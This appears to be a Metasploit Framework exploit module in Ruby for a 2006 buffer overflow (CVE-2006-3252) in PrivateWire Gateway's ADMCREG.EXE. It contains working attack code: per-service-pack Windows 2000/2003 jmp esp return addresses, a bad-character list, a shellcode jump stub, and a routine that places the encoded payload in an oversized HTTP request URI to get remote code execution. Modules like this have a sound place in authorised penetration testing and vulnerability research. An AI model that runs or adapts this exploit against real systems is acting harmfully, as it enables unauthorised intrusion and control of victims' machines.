metasploit-framework/modules/exploits/windows/http/privatewire_gateway.rb

73 lines
2.5 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# This file may only be distributed as part of the Metasploit Framework.
# Any other use needs a written permission from the author.
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Private Wire Gateway Buffer Overflow',
'Description' => %q{
This exploits a buffer overflow in the ADMCREG.EXE used
in the PrivateWire Online Registration Facility.
},
'Author' => 'Michael Thumann <mthumann[at]ernw.de>',
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2006-3252'],
['OSVDB', '26861'],
['BID', '18647'],
],
'Payload' =>
{
'Space' => 8000,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
['Debugging', { 'Ret' => 0x41414141 }], # crash
],
'DefaultTarget' => 4,
'DisclosureDate' => 'Jun 26 2006'))
register_options(
[
OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
])
end
def exploit
# add 25 to ecx and jmp
jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"
path_offset = datastore['PATH'].length - 8
pattern = rand_text_alphanumeric(8192)
pattern[0, payload.encoded.length] = payload.encoded
pattern[8156 - path_offset, 4] = [target.ret].pack('V')
pattern[8160, jmp.length] = jmp
print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
send_request_raw({
'uri' => "/" + pattern
}, 2)
end
end